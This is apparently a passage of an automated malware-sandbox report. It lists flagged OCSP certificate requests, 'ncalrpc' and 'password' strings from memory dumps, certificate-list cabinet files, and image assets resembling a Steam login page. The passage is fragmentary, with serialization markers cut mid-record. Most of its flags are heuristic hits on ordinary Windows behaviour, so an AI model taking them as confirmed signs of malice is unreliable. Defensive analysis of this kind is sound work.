/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPW" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "IWZzHshBOCggCEwdzEkpLy9ROx7U76vGU" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLw" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base62 string in header "2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDk" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base62 string in header "MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIf" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base62 string in header "aREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmb" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfq" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "hLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "P4v0cB1JgmGggC72NkK8MCEAx5qUSwjBG" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQE" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEApeJpUsjKx0jf8aVDW3W2E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FkK8CB3U8zNllZGKiErhZcjsCEApeJpU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEApeJpUsjKx0jf8aVDW3W2E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk4" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "5WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6q" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk4" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAosAbgrXUdzmloBGm%2FcGiA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "5WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6q" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAosAbgrXUdzmloBGm%2FcGiA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "iqhIx56rTaD5iyxZV2ufQCEAosAbgrXUd" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAosAbgrXUdzmloBGm%2FcGiA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffH" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEA177el9ggmWelJjG4vd" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com"6f:Tbc9,Found string "I+ncalrpc:[OLE355A99E6B62B4DBE82DA1F798C0A]" (Indicator: "ncalrpc"; Source: "00000000-00000540.00000001.69995.00420000.00000004.mdmp, 00000000-00000540.00000002.71914.00420000.00000004.mdmp, 00000000-00000540.00000002.71914.02031000.00000004.mdmp, 00000000-00000540.00000003.79257.00420000.00000004.mdmp, 00000000-00000540.00000003.79257.004E9000.00000004.mdmp, 00000000-00000540.00000003.79257.02026000.00000004.mdmp") Found string "+ncalrpc:[OLE355A99E6B62B4DBE82DA1F798C0A]" (Indicator: "ncalrpc"; Source: "00000000-00000540.00000001.69995.00420000.00000004.mdmp, 00000000-00000540.00000002.71914.00420000.00000004.mdmp, 00000000-00000540.00000002.71914.02031000.00000004.mdmp, 00000000-00000540.00000003.79257.02026000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00000540.00000001.69995.00420000.00000004.mdmp, 00000000-00000540.00000002.71914.00420000.00000004.mdmp") Found string "+ncalrpc:[OLE0B4319B36F3B4C0EAE1BA5599118]" (Indicator: "ncalrpc"; Source: "00000000-00000540.00000001.69995.00420000.00000004.mdmp, 00000000-00000540.00000002.71914.00420000.00000004.mdmp") Found string "+ncalrpc:[OLE9B5CCB4721B64942B4E4997652B5]" (Indicator: "ncalrpc"; Source: "00000000-00000540.00000001.69995.00420000.00000004.mdmp") Found string "A+ncalrpc:[OLE9B5CCB4721B64942B4E4997652B5]" (Indicator: "ncalrpc"; Source: "00000000-00000540.00000001.69995.0202B000.00000004.mdmp") Found string "+ncalrpc:[OLE341DE1F6435B4F908FBDECCC613E]" (Indicator: "ncalrpc"; Source: "00000000-00000540.00000002.71914.00420000.00000004.mdmp") Found string "I+ncalrpc:[OLE35" (Indicator: "ncalrpc"; Source: "00000000-00000540.00000003.79257.02026000.00000004.mdmp") Found string "+ncalrpc:[OLE355A99E6B62B4DBE82DA1F798C0A]" (Indicator: "ncalrpc"; Source: "00000000-00001140.00000000.68216.00390000.00000004.mdmp, 00000000-00001140.00000001.68735.00390000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00001140.00000000.68216.00390000.00000004.mdmp, 00000000-00001140.00000001.68735.00390000.00000004.mdmp") Found string "+ncalrpc:[OLEA2D3C99E90F1438DA8B119D224CA]" (Indicator: "ncalrpc"; Source: "00000000-00001140.00000000.68216.00390000.00000004.mdmp, 00000000-00001140.00000001.68735.00390000.00000004.mdmp") Found string "I+ncalrpc:[OLE355A99E6B62B4DBE82DA1F798C0A]" (Indicator: "ncalrpc"; Source: "00000000-00001140.00000000.68216.00390000.00000004.mdmp, 00000000-00001140.00000001.68735.00390000.00000004.mdmp") Found string "I+ncalrpc:[OLE355A99E6B62B4DBE82;" (Indicator: "ncalrpc"; Source: "00000000-00001140.00000000.68216.00390000.00000004.mdmp") Found string "+ncalrpc:[OLEC1FBA059A31C4E279543446013FC]" (Indicator: "ncalrpc"; Source: "00000000-00001140.00000001.68735.00390000.00000004.mdmp") Found string "A+ncalrpc:[OLEC1FBA059A31C4E2795" (Indicator: "ncalrpc"; Source: "00000000-00001140.00000001.68735.00390000.00000004.mdmp")70:T739,Found string "No Caps LockHCaps Lock is on, which may cause you to enter your password incorrectly." (Indicator: "password"; Source: "00000000-00001884.00000000.67805.025B0000.00000002.mdmp") file/memory contains long string with (Indicator: "password"; Source: "00000000-00001884.00000000.67805.025B0000.00000002.mdmp") Found string "Use Internet connection: {0}/Dial-up or broadband with username and password" (Indicator: "password"; Source: "00000000-00001884.00000000.67805.025B0000.00000002.mdmp") Found string "Select Your Connection}Select your connection from the list. The connection must have a saved user name and password, and be available to all users." (Indicator: "password"; Source: "00000000-00001884.00000000.67805.025B0000.00000002.mdmp") Found string "Enter Your Dial-Up PassworddEnter the password for the connection you selected. You must use the keyboard to enter the password.P" (Indicator: "password"; Source: "00000000-00001884.00000000.67805.025B0000.00000002.mdmp") Found string "Confirm Password5These passwords do not match. Re-enter the passwords./Manually Download the TV Program Guide listings" (Indicator: "password"; Source: "00000000-00001884.00000000.67805.025B0000.00000002.mdmp") Found string "Windows Media Center requires an Internet connection with a saved password for all users to automatically download TV Program Guide listings." (Indicator: "password"; Source: "00000000-00001884.00000000.67805.025B0000.00000002.mdmp") Found string "This feature is not compatible with password-protected screen savers. To use this feature, disable the password protection on your Windows screen saver." (Indicator: "password"; Source: "00000000-00001884.00000000.67805.025B0000.00000002.mdmp") Found string "password" (Indicator: "password"; Source: "00000000-00001884.00000000.67805.025B0000.00000002.mdmp")71:T43a,"Cab2FF6.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab2FF6.tmp]- [targetUID: 00000000-00002548] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002548] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002548] "Cab340F.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab340F.tmp]- [targetUID: 00000000-00002548]72:Ta21,"new_login_bg_strong_mask_1_.jpg" has type "JPEG image data Exif standard: [TIFF image data little-endian direntries=0] baseline precision 8 1920x1080 components 3" and extension "jpg" "dinosaur_1_.png" has type "PNG image data 1200 x 800 8-bit/color RGBA non-interlaced" and extension "png" "header_logo_1_.png" has type "PNG image data 744 x 171 8-bit/color RGBA non-interlaced" and extension "png" "firefox_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "yt_logo_rgb_light_1_.png" has type "PNG image data 1588 x 356 8-bit colormap non-interlaced" and extension "png" "edgium_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "Y0L6f5sxdIV_1_.png" has type "PNG image data 283 x 315 8-bit colormap non-interlaced" and extension "png" "chrome_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "epic-favicon-96x96_1_.png" has type "PNG image data 96 x 96 8-bit/color RGBA non-interlaced" and extension "png" "header_menu_hamburger_1_.png" has type "PNG image data 244 x 212 8-bit/color RGBA non-interlaced" and extension "png" "footerLogo_valve_1_.png" has type "PNG image data 96 x 26 8-bit/color RGBA non-interlaced" and extension "png" "code_box_1_.png" has type "PNG image data 222 x 28 8-bit/color RGBA non-interlaced" and extension "png" "friendlyname_box_1_.png" has type "PNG image data 222 x 28 8-bit/color RGBA non-interlaced" and extension "png" "logo_steam_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced" and extension "png" "footerLogo_valve_new_1_.png" has type "PNG image data 176 x 50 8-bit/color RGBA non-interlaced" and extension "png" "opera_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "logo_valve_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced" and extension "png" "ico_twitter_1_.gif" has type "GIF image data version 89a 16 x 16" and extension "gif" "ico_facebook_1_.gif" has type "GIF image data version 89a 16 x 16" and extension "gif" "logo46x38_1_.png" has type "PNG image data 46 x 38 8-bit/color RGBA non-interlaced" and extension "png" "btn_header_installsteam_download_1_.png" has type "PNG image data 15 x 13 8-bit/color RGBA non-interlaced" and extension "png" "btn_arrow_down_padded_1_.png" has type "PNG image data 19 x 12 8-bit/color RGBA non-interlaced" and extension "png" "O7nelmd9XSI_1_.png" has type "PNG image data 1 x 1 1-bit colormap non-interlaced" and extension "png"73:T4001,"initAft()